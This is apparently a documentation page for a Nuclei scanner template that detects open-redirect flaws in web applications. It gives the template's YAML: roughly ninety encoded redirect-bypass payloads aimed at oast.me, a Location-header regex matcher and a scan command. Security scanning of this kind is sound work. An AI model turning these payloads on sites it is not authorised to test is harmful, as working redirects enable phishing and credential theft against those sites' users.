Open Redirect - Detection
ID: open-redirect-generic
Severity: medium
Author: afaq,melbadry9,Elmahdi,pxmme1337,Regala_,andirrahmani1,geeknik
Tags: redirect,generic
Description
Section titled “Description”An open redirect vulnerability was detected. An attacker can redirect a user to a malicious site and possibly obtain sensitive information, modify data, and/or execute unauthorized operations.
YAML Source
Section titled “YAML Source”id: open-redirect-generic
info: name: Open Redirect - Detection author: afaq,melbadry9,Elmahdi,pxmme1337,Regala_,andirrahmani1,geeknik severity: medium description: An open redirect vulnerability was detected. An attacker can redirect a user to a malicious site and possibly obtain sensitive information, modify data, and/or execute unauthorized operations. classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N cvss-score: 6.1 cwe-id: CWE-601 metadata: max-request: 93 tags: redirect,generic
http: - method: GET path: - "{{RootURL}}/{{redirect}}"
payloads: redirect: - '%0a/oast.me/' - '%0d/oast.me/' - '%00/oast.me/' - '%09/oast.me/' - '%5C%5Coast.me/%252e%252e%252f' - '%5Coast.me' - '%5coast.me/%2f%2e%2e' - '%5c{{RootURL}}oast.me/%2f%2e%2e' - '../oast.me' - '.oast.me' - '/%5coast.me' - '////\;@oast.me' - '////oast.me' - '///oast.me' - '///oast.me/%2f%2e%2e' - '///oast.me@//' - '///{{RootURL}}oast.me/%2f%2e%2e' - '//;@oast.me' - '//\/oast.me/' - '//\@oast.me' - '//\oast.me' - '//\toast.me/' - '//oast.me/%2F..' - '//oast.me//' - '//%6f%61%73%74%2e%6d%65' - '//oast.me@//' - '//oast.me\toast.me/' - '//https://oast.me//' - '/<>//oast.me' - '/\/\/oast.me/' - '/\/oast.me' - '/\oast.me' - '/oast.me' - '/oast.me/%2F..' - '/oast.me/' - '/oast.me/..;/css' - '/https:oast.me' - '/{{RootURL}}oast.me/' - '/〱oast.me' - '/〵oast.me' - '/ゝoast.me' - '/ーoast.me' - '/ーoast.me' - '<>//oast.me' - '@oast.me' - '@https://oast.me' - '\/\/oast.me/' - 'oast%E3%80%82me' - 'oast.me' - 'oast.me/' - 'oast.me//' - 'oast.me;@' - 'https%3a%2f%2foast.me%2f' - 'https:%0a%0doast.me' - 'https://%0a%0doast.me' - 'https://%09/oast.me' - 'https://%2f%2f.oast.me/' - 'https://%3F.oast.me/' - 'https://%5c%5c.oast.me/' - 'https://%5coast.me@' - 'https://%23.oast.me/' - 'https://.oast.me' - 'https://////oast.me' - 'https:///oast.me' - 'https:///oast.me/%2e%2e' - 'https:///oast.me/%2f%2e%2e' - 'https://:80#@oast.me/' - 'https://:@\@oast.me' - 'https://:@oast.me\@oast.me' - 'https://;@oast.me' - 'https://\toast.me/' - 'https://oast.me/oast.me' - 'https://oast.me/https://oast.me/' - 'https://www.\.oast.me' - 'https:/\/\oast.me' - 'https:/\oast.me' - 'https:/oast.me' - 'https:oast.me' - '{{RootURL}}oast.me' - '〱oast.me' - '〵oast.me' - 'ゝoast.me' - 'ーoast.me' - 'ーoast.me' - 'redirect/oast.me' - 'cgi-bin/redirect.cgi?oast.me' - 'out?oast.me' - 'login?to=http://oast.me' - 'redirect?targeturl=https://oast.me'
stop-at-first-match: true
matchers-condition: and matchers: - type: regex part: header regex: - '(?m)^(?:Location\s*?:\s*?)(?:https?:\/\/|\/\/|\/\\\\|\/\\)(?:[a-zA-Z0-9\-_\.@]*)oast\.me\/?(\/|[^.].*)?$' # https://regex101.com/r/ZDYhFh/1
- type: status status: - 301 - 302 - 307 - 308 condition: or# digest: 490a00463044022015b91a337fe9faf86c73dc8abe365ec1fc83ddc8a5ec9d8cf7f5ca733deaac38022008ee717a4cb915c2eb056433da6da7b30e37416d8a133bc0b2455fcf1bd79787:922c64590222798bb761d5b6d8e72950Guide to check the vulnerabilities
Section titled “Guide to check the vulnerabilities”This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.
$ nuclei -u "URL" -t "http/vulnerabilities/generic/open-redirect-generic.yaml"